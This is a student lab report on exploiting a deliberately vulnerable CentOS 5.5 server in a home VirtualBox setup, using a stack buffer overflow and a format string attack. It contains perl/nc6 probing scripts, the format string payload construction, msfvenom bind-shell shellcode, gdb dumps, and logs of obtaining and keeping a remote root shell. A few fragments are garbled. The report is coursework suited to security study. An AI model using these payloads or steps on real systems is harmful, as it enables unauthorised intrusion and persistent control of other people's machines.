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## Project 1 – Remote Exploitation Techniques

My setup for both exploitations involved two Virtual Box virtual machines using bridged connection networks. I use a Linksys EA6300 router for the networking configurations with DHCP enabled and port forwarding mechanisms, mostly for easy access remotely. The bridged connection allows the virtual machines to interact on a hardware level and exchange network packets directly, circumventing the host operating system. [1]. The images I used are the latest Kali x86\_64 and the server image CentOS 5.5 i386. I attempted to use multiple other images but decided on the vulnerable image of the paper which was CentOS 5.5 i386. The paper suggests that on this image that the randomization of the virtual address space and the exec shield which provides NX security are disabled. Additionally, on the virtual machine, PAE/NX was disabled for the CPU emulation.

### Buffer Overflow

The code below was run on the CentOS machine to disable these protections.

```
sysctl -w kernel.randomize_va_space=0
```

```
sysctl -w kernel.exec-shield=0
```

The image below running the `$lsb_release -a` command is used to show the success of the shell login and that the login is of a different machine.

```
[root@centos ~]# lsb_release -a
LSB Version:      :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch
Distributor ID:  CentOS
Description:     CentOS release 5.5 (Final)
Release:         5.5
Codename:        Final
[root@centos ~]# uname -r
2.6.18-194.el5
[root@centos ~]#
```

```
eth0      Link encap:Ethernet  HWaddr 08:00:27:1C:EB:3C
          inet addr:192.168.1.118  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: 2601:4c0:4000:eld8:a00:27ff:fe1c:eb3c/64  Scope:Global
          inet6 addr: fe80::a00:27ff:fe1c:eb3c/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:282 errors:0 dropped:0 overruns:0 frame:0
          TX packets:222 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:32459 (31.6 KiB)  TX bytes:32766 (31.9 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:8 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:560 (560.0 b)  TX bytes:560 (560.0 b)
```

```
[root@centos ~]# lsb_release -a
```

Most of the code files, testing scripts, configurations, and makefiles were created using knowledge and examples from the paper, and where applicable the actual code provided, and added to the host and client, all the files used in this project can be found in my repository, throughout the explanation and analysis, or at the end of this report:

I created the files provided by the document for the server and used them with some scripts to test the connection and poke at the exploit by other means to analyze the state of the server. In the compilation of gcc I added the `-fno-stack-protector` and `-z execstack` flags to make sure the server is fully vulnerable as described by the paper, `gcc -o server-demo6 server-demo6.c -fno-stack-protector -z execstack`. These disable the stack protection built into the compilation.

I first ran a script with the perl statements figuring out where the buffer overflow succeeds, eventually leading to segmentation faults. I used `./pattern_create.rb -l 250` from Metasploit found in `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb`. This helped me determine the offset needed for the buffer overflow of the `strcpy` and that the offset needed was 204 (seen below) which was evident based on how far the code ran leaving the `$eip` with `0x41386741` (as seen below, right) is `Ag8A` because of little endianness. This new information allowed me to build a package to hijack the `$eip` to run my shell.

[illegible]







## Format String Exploitation.

The same set up virtual machines from before were used in this exploitation but new server code and exploit code were used. These are found in the provided code and the previous github link.

The first part of the exploitation was learning the number of parameters and the offset needed to overwrite the \$eip. Another part for my own experiments was acquiring a better understanding of the formatting flags and options involved. As shown in [5] A format specifier follows this prototype:  
%[flags][width][.precision][length]specifier.

```
1  #!/bin/bash
2
3  perl -e 'print "%p%p%p%p%p%p%p%p%p\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
4  perl -e 'print "AA%p%p%p%p%p%p%p%p%p\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
5  perl -e 'print "AAA%p%p%p%p%p%p%p%p%p\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
6  perl -e 'print "AAAA%p%p%p%p%p%p%p%p%p\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
7  perl -e 'print "AAAA%4$x\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
8  perl -e 'print "AAAA%4$x%n\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
```

The first script above leads to the server segmentation faulting because of bad memory accesses. This crash dump (right) can be analyzed to determine the address of the snprintf function that I am looking to hijack as 0x08049a94.

Additionally, by testing the server with format strings as shown in the scripts I could find that the 4<sup>th</sup> parameter contains the string itself, thus offsetting by 4. Knowing this helps set up the format string to exploit the server.

The next goal is to build a formatting string that will hijack this function. The string consists of first using the address of the snprintf function to be hijacked next to itself with a difference of two bytes. The next format is building the \$eip pointer containing 0x414141 to be placed by using two byte short writes with doing a precision of .16697 which writes this many blanks so that the %4\$hn will write what would have been the 4<sup>th</sup> parameter and places 0x4141 and the offset to what would have been the 5<sup>th</sup> parameter (or address location) and

```
root@kali:~/proj1# ./attack2.sh
nc6: using stream socket
nc6: using stream socket
Test Test
nc6: using stream socket
(nil)(nil)(nil)0x70257025
nc6: using stream socket
00078257825
nc6: using stream socket
nc6: unable to connect to address 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c, service 55555
nc6: unable to connect to address 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c, service 55555
```

```
1  #!/bin/bash
2
3  perl -e 'print "\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
4  perl -e 'print "Test Test\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
5  perl -e 'print "%p%p%p\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
6  perl -e 'print "%x%x%x\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
7  perl -e 'print "%x%x%n\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
8  perl -e 'print "%x%x%n\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
9  perl -e 'print "%x%x%n\n"|nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
```

```
[root@centos ~]# objdump -R server-fms6
server-fms6:      file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET      TYPE          VALUE
08049a54 R_386_GLOB_DAT      __gmon_start__
08049a64 R_386_JUMP_SLOT     __gmon_start__
08049a68 R_386_JUMP_SLOT     listen
08049a6c R_386_JUMP_SLOT     memset
08049a70 R_386_JUMP_SLOT     _libc_start_main
08049a74 R_386_JUMP_SLOT     read
08049a78 R_386_JUMP_SLOT     accept
08049a7c R_386_JUMP_SLOT     socket
08049a80 R_386_JUMP_SLOT     getaddrinfo
08049a84 R_386_JUMP_SLOT     bind
08049a88 R_386_JUMP_SLOT     close
08049a8c R_386_JUMP_SLOT     send
08049a90 R_386_JUMP_SLOT     puts
08049a94 R_386_JUMP_SLOT     snprintf
08049a98 R_386_JUMP_SLOT     exit

[root@centos ~]#
```

```
root@kali:~/proj1# ./attack3.sh
nc6: using stream socket
A(nil)(nil)(nil)0x257025410x257025700x257025700x257025700x257025700xa70(nil)
nc6: using stream socket
AA(nil)(nil)(nil)0x702541410x702570250x702570250x702570250xa7025(nil)
nc6: using stream socket
AAA(nil)(nil)(nil)0x254141410x257025700x257025700x257025700xa702570(nil)
nc6: using stream socket
AAAA(nil)(nil)(nil)0x414141410x702570250x702570250x702570250xa702570250xa
nc6: using stream socket
AAAAA41414141
nc6: using stream socket
```

```
root@kali:~/proj1# ./dummy2 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
<1094795585>, expected 1094795585
high before -= <16705>, expected 16705
low is <16705>, expected 16705
high after -= 16697
low - high - 0x8, <0>
26 strlen(buffer)
00%.16697x%4$hn%.0x%5$hn
117 shellcode, expected 117
538 strlen(buffer) before shellcode
657 strlen(buffer) after shellcode
SENT [OK]
SENT [OK]
```

places the other 0x4141. These short writes enabled the entire four-byte value to be overwritten with just two %hn parameters as seen with the %4 and %5. There is some bit math wrap around to deal with the second write being less than the first write when using this setup. Because of this format string being able to overwrite arbitrary memory addresses, I can control the execution flow of the program. For this, I choose the method provided which overwrites the snprintf function to execute the shell program instead.

(GOTOADDR+2)(GOTOADDR) // [0x080489196, 0x08049a94, 0]

%.16697x == %.dx (d = high) // d = 0x00004141

%4\$hn == %d\$hn (d = OFFSET) // write access the 4<sup>th</sup> parameter and use half pointer

%.0x == %.dx (d = (low - high) - 0x8) // d = 0x00004139 - 0x00004141 - 0x8 = 0

%5\$hn == %d\$hn (d = OFFSET + 1) // write access the 5<sup>th</sup> parameter and use half pointer

Seen on the next page, and using the code provided in the previous link, the image shows the successful exploitation of the format string. The dummy code using 0x41414141 in the \$eip instruction pointer and \$esp stack pointer can be seen under analysis, finding the sled/shell code. The 0x41414141 was replaced with this part of memory to run the shell exploit.

```

root@kali: ~/proj1
117 shellcode, expected 117
342 strlen(buffer) before shellcode
661 strlen(buffer) after shellcode
SENT [OK]
SENT [OK]
root@kali:~/proj1# make run
./dummy2 2601:4c0:4000:e1d8:a00:27ff:fc1c:eb3c 55555
high before == <4141>, expected 0x4141
low is <4141>, expected 0x4141
high after == <4139>
low - high - 0x8, <0>
%.16697x%.4$hn%.0x%.5$hn
30 strlen(buffer)
%.16697x%.4$hn%.0x%.5$hn
117 shellcode, expected 117
342 strlen(buffer) before shellcode
661 strlen(buffer) after shellcode
SENT [OK]
SENT [OK]
root@kali:~/proj1# make run
gcc -o dummy2 dummy2.c
./dummy2 2601:4c0:4000:e1d8:a00:27ff:fc1c:eb3c 55555
high before == <4141>, expected 0x4141
low is <4da04>, expected 0x4141
high after == <41ff7>
low - high - 0x8, <1a05>
%.49143x%.4$hn%.6661x%.5$hn
33 strlen(buffer)
%.49143x%.4$hn%.6661x%.5$hn
117 shellcode, expected 117
345 strlen(buffer) before shellcode
664 strlen(buffer) after shellcode
SENT [OK] || check your shell on 2601:4c0:4000:e1d8:a00:27ff:fc1c:eb3c TCP port 4444
SENT [OK] || check your shell on 2601:4c0:4000:e1d8:a00:27ff:fc1c:eb3c TCP port 4444
root@kali:~/proj1# nc6 2601:4c0:4000:e1d8:a00:27ff:fc1c:eb3c 4444
nc6: using stream socket
uname -a
Linux centos 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010 i686 i686 GNU/Linux
lsb_release -a
LSB Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch
Distributor ID: CentOS
Description: CentOS release 5.5 (Final)
Release: 5.5
Codename: Final
ls
anaconda-ks.cfg
install.log
install.log.syslog
ipvtunnel.sh
makefile
server-demo6
server-fms6
server-fms6.c
server.c
turnoff.sh

root@centos:~
Inferior 1 [process 4024] will be killed.
Quit anyway? (y or n) y
[root@centos ~]# gdb -q ./server-fms6
Reading symbols from /root/server-fms6...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/server-fms6

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/200xb $esp
Undefined command: "". Try "help".
(gdb) x/200xb $esp
0xbfffd9bc: 0xb3 0x87 0x04 0x08 0xd8 0xe1 0xff 0xbf
0xbfffd9c4: 0xff 0x03 0x00 0x00 0xd8 0xd9 0xff 0xbf
0xbfffd9cc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffd9d4: 0x00 0x00 0x00 0x00 0x96 0x9a 0x04 0x98
0xbfffd9dc: 0x94 0x9a 0x04 0x08 0x25 0x2e 0x31 0x36
0xbfffd9e4: 0x36 0x39 0x37 0x78 0x25 0x34 0x24 0x68
0xbfffd9ec: 0x6e 0x25 0x2e 0x30 0x78 0x25 0x35 0x24
0xbfffd9f4: 0x68 0x6e 0x90 0x90 0x90 0x90 0x90 0x90
0xbfffd9fc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda04: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda0c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda14: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda1c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda24: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda2c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda34: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda3c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda44: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda4c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda54: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda5c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda64: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffda6c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
--Type <return> to continue, or q <return> to quit---q
Quit
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/server-fms6
ERROR!bind

Program exited with code 01.
(gdb) quit
[root@centos ~]# gdb -q ./server-fms6
Reading symbols from /root/server-fms6...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/server-fms6
Executing new program: /bin/bash
Detaching after fork from child process 4044.
Detaching after fork from child process 4047.
Detaching after fork from child process 4074.

```



## Issues/Resolutions:

Occasionally ports would bind and be stuck in binding condition or not closing in short time frame. This command or restarting the machine would mostly work to fix this issue `$kill -9 $(lsof -i:55555 -t)`

```
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/proj1/server-demo6
ERROR!bind
[Inferior 1 (process 1528) exited with code 01]
(gdb) █
```

Although the provided follow along document was a few years ago, metasploit framework has changed to combining some functionality, the new command to run to get shell code for this project would be `msfvenom -p linux/x86/shell_bind_ipv6_tcp -b '\x00' -f c`

However, I used the code provided since I used the same configuration as the paper.

```
root@kali: /usr/share/metasploit-framework# msfvenom -p linux/x86/shell_bind_ipv6
tcp -b '\x00' -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 117 (iteration=0)
x86/shikata_ga_nai chosen with final size 117
Payload size: 117 bytes
Final size of c file: 516 bytes
unsigned char buf[] =
"\xba\xf6\x49\xa6\xf9\xda\xd5\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x17\x83\xc5\x04\x31\x55\x10\x03\x55\x10\x14\xbc\x97\x22\x8b"
"\x7c\x8b\xbe\x21\x0a\xca\x55\x53\x54\xc0\x2a\x0d\xfd\x88\x78"
"\x63\xac\x7e\x2f\xe5\x38\x6e\x93\x8f\xd0\x9a\x2b\xc6\xc0\xf1"
"\x37\x89\x54\x8f\xa9\x6a\x33\xe9\x71\xa1\x43\x45\xe7\x8a\x40"
"\x6b\x68\xbe\x1a\x25\xe0\xdf\xd8\x79\x94\xd2\x5f\xea\x00\x86"
"\x60\x55\x7e\xd6\xd6\x1c\x78\xbe\xc7\xf1\x0b\x56\x70\x21\x8e"
"\xcf\xee\xb4\xad\x5f\xbc\x4f\xd0\xef\x49\x9d\x93";
argc, char *argv)
if (argc < 3) {
    printf("Usage:
    return 0;
}
```

Here is the output of shell code I received when I ran msfvenom.

Another consideration is that netcat6 no longer exists as a normal package and I had to find and install netcat6 on Kali manually [2] However, I found \$connect from Metasploit also works automatically.

There are many bugs in the code that was provided that I had to address. The first one's largest mistakes were that it did not initialize data and did not provide a buffer large enough to handle the data it expected to run. This lead to invalid data being placed in the package. After addressing these bugs, I could successfully run the exploit. There were some other bugs in the format string provided code that I had to address as well. The code intended to be the address of sprintf was not correctly being placed in the stream, rather a local variable was being placed. I manually entered these hex strings in as cstrings in little endian order to properly get the data to run.

## Extra credit:

In this process, I have made a buffer overflow connection to acquire the shell, then I have restarted the server with a new instance running in the background so this can receive new requests to the server, while I maintain full shell control of the host. I can now fully install new port-binded shells, add users, install programs and anything else.

This image shows the initially run server that has been hijacked.

```
root@centos ~]# gdb -q ./server-demo6
Reading symbols from /root/server-demo6...(no debugging symbols found)
(gdb) r
Starting program: /root/server-demo6
MSG = 
? YW U N u V t $ ) m 1GGA?gt /-N p l B , OV > QKu@!
X'f f U i c F : o g < y
Executing new program: /bin/bash
Detaching after fork from child process 2603.
```

This image shows the process of acquiring the shell, then connecting to it from a different port. Then I run a few commands to show the validity of the hijack. I then find the original server that was running and start it up in the background using

`$/server-demo6 &`

This allows the server to resume receiving requests. I can then proceed doing anything with the machine and the server will maintain connectivity as seen in the following picture.

This satisfies the requirement of “Continuation of service of the server while running an interactive shell; “

```
root@kali:~/proj1# date
Mon Jan 30 16:15:09 EST 2017
root@kali:~/proj1# ./dummy1 2601:4c0:4000:eld8:a00:27ff:fe1c:eb3c 55555

87 is NOP len, expected 87
117 is shellcode len, expected 117
4 is EIP len, expected 4
208 is payload len, expected 208
SENT [OK]
root@kali:~/proj1# date
Mon Jan 30 16:15:57 EST 2017
root@kali:~/proj1# nc6 2601:4c0:4000:eld8:a00:27ff:fe1c:eb3c 4444
nc6: using stream socket
sh
date
Mon Jan 30 16:16:05 EST 2017
lsb_release -a
LSB Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch
Distributor ID: CentOS
Description: CentOS release 5.5 (Final)
Release: 5.5
Codename: Final
date
Mon Jan 30 16:16:54 EST 2017
ls
anaconda-ks.cfg
install.log
install.log.syslog
ipv6tunnel.sh
makefile
nc6-1.0
server-demo6
server-fms6
server-fms6.c
server.c
turnoff.sh
./server-demo6 &
date
Mon Jan 30 16:17:12 EST 2017
date
Mon Jan 30 16:17:37 EST 2017
lsb_release -a
LSB Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch
Distributor ID: CentOS
Description: CentOS release 5.5 (Final)
Release: 5.5
Codename: Final
```



```
root@kali:~# date
Mon Jan 30 16:15:00 EST 2017
root@kali:~# nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
nc6: unable to connect to address 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c, service 55555
root@kali:~# date
Mon Jan 30 16:16:51 EST 2017
root@kali:~# date
Mon Jan 30 16:17:12 EST 2017
root@kali:~# nc6 2601:4c0:4000:e1d8:a00:27ff:fe1c:eb3c 55555
nc6: using stream socket
IPv6 Demo Server v0.01
hello
root@kali:~# date
Mon Jan 30 16:17:37 EST 2017
root@kali:~# █
```

## References

- [1] "Chapter 6. Virtual Networking." Chapter 6. Virtual Networking. N.p., n.d. Web. 26 Jan. 2017.  
[<https://www.virtualbox.org/manual/ch06.html>]
- [2] "Package: Netcat6 (1.0-8)." Debian -- Details of Package Netcat6 in Jessie. N.p., n.d. Web. 26 Jan. 2017. [<https://packages.debian.org/jessie/netcat6>]
- [3] "Fprintf." Fprintf. N.p., n.d. Web. 26 Jan. 2017.  
[<http://pubs.opengroup.org/onlinepubs/009695399/functions/printf.html>]
- [4] Erickson, Jon. *Hacking: the art of exploitation*. No Starch Press, 2008.
- [5] \*, snprintf example \*. *Snprintf - C++ reference*. n.d. Web. 27 Jan. 2017.  
[<http://www.cplusplus.com/reference/cstdio/snprintf/>]
- [6] Pilihanto, Atik. "A Complete Guide on IPv6 Attack and Defense." *Sans. org [online]* (2011).